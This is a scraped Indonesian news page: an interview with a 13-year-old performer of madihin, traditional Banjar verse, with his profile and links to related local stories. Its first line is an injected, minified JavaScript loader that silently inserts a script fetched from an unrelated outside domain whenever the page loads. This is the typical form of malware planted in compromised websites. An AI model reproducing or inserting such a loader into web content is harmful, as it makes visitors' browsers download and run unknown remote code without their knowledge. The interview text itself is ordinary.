(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Jika banyak anak-anak sebayanya kecanduan bermain gadget, tapi tidak dengan anak satu ini. Ya, namanya Muhammad Akmal Fitri. Bocah berusia 13 tahun ini, lebih memilih menekuni kesenian tradisional madihin.
Sudah sejak belia, Akmal menggeluti kesenian dengan olah pantun ini. Dari hasil ketekunannya, sejumlah penghargaan telah diraih. Termasuk menjadi juara 2 dalam lomba Madihin yang dilaksanakan di Balai Bahasa 2016 silam dan juara 1 dan favorit lomba Bakisah Bahasa Banjar se-Kabupaten Banjar. Berikut wawancara Kanalkalimantan.com dengan bocah yang saat ini duduk di kelas VII, MTs Pangeran Antasari Martapura ini.
 Sejak kapan senang bermain madihin?
Sejak saya masih Taman Kanak-Kanak.
Bagaimana awal mulanya sehingga tertarik belajar madihin?
Pertama kali, waktu melihat penampilan John Tralala. Saat itu, beliau sedang menampilkan madihin di acara lomba pawai di sekolah dekat rumah saya. Karena sejak kecil saya suka memainkan rebana madihin. Jadi, akhirnya nyambung. Sampai akhirnya hingga sekarang menjadi pemain madihin.
Kalau begitu, mengidolakan John Tralala, dong?
Ya, tentu saja saya sangat mengidolakan beliau.
Pernah merasa demam panggung saat tampil di hadapan banyak orang?
Saya pernah deg-degan dan gemetaran ketika pertama kali tampil membawakan madihin di depan orang banyak. Saat itu (bermain madihin) di acara pengantinan.
Akmal sering pentas madihin dimana saja?
Ya, sering sih diundang di acara kawinan untuk menampilkan madihin. Pernah juga diundang ke stasiun tv untuk menghadiri acara di televisi tersebut.
Banyak dong honornya?
Kalau di kawinan ya diberi honor, tapi kalau keluarga biasanya tidak. Hitung-hitung ikut menyumbang hiburan buat keluarga.
Biasanya tampil sendiri atau duet?
Kadang sendiri, tapi tak jarang juga tampil bersama. Jika sendiri, maka lebih banyak membawakan syair yang berisi nasehat. Namun ketika ada teman (berduet) lebih pada saling sindir teman yang ada di samping (bersahutan).
Bagaimana membagi waktu dengan belajar di sekolah?
Ya diusahakan mana waktu untuk sekolah dan mana waktu untuk madihin.
Apa harapan kamu buat teman-teman lainnya?
Saya berharap teman-teman juga bisa melestarikan seni budaya daerah supaya tidak punah khususnya Madihin. Karena jika tidak dilestarikan, tentunya akan hilang kesenian seperti ini. (abdullah)
Nama       : Muhammad Akmal Fikri |
TTL      : Cempaka, 15 November 2004 |
Sekolah  : MTs Pangeran Antasari Martapura |
Orangtua : Surianoor (ayah), Farida Erliani (ibu) |
Prestasi  : 1) Juara 2 Lomba Madihin di Balai Bahasa 2016 2) Juara 2 Busana Muslim se Kecamatan Cempaka 3) Juara 3 Dai Cilik se Kota Banjarbaru 4) Juara 1 dan Favorit Lomba Bakisah Bahasa Banjar se Kabupaten Banjar |
KANALKALIMANTAN.COM, BANJARBARU - Untuk perdana, Auditorium Kampus Universitas Lambung Mangkurat (ULM) di Banjarbaru dibuka untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kurang lebih dua jam menjelang kegiatan rutinan Malam Senin Momen 5 Rajab,… Read More
KANALKALIMANTAN.COM, MARTAPURA – Syair Khobbiri yang dibawakan dari Musholla Ar Raudhah Sekumpul menggema di hampir… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Sekumpul sudah memadati kawasan Martapura, Kabupaten Banjar, Kalimantan Selatan, Minggu (5/1/2025)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kesukarelawanan warga Banjar menyambut Jemaah kegiatan rutin keagamaan Malam Senin 5 Rajab… Read More
KANALKALIMANTAN.COM, BANJARBARU - Posko singgah Sapta Marga Bersatu di Jalan Karang Anyar I, Kelurahan Guntung… Read More
This website uses cookies.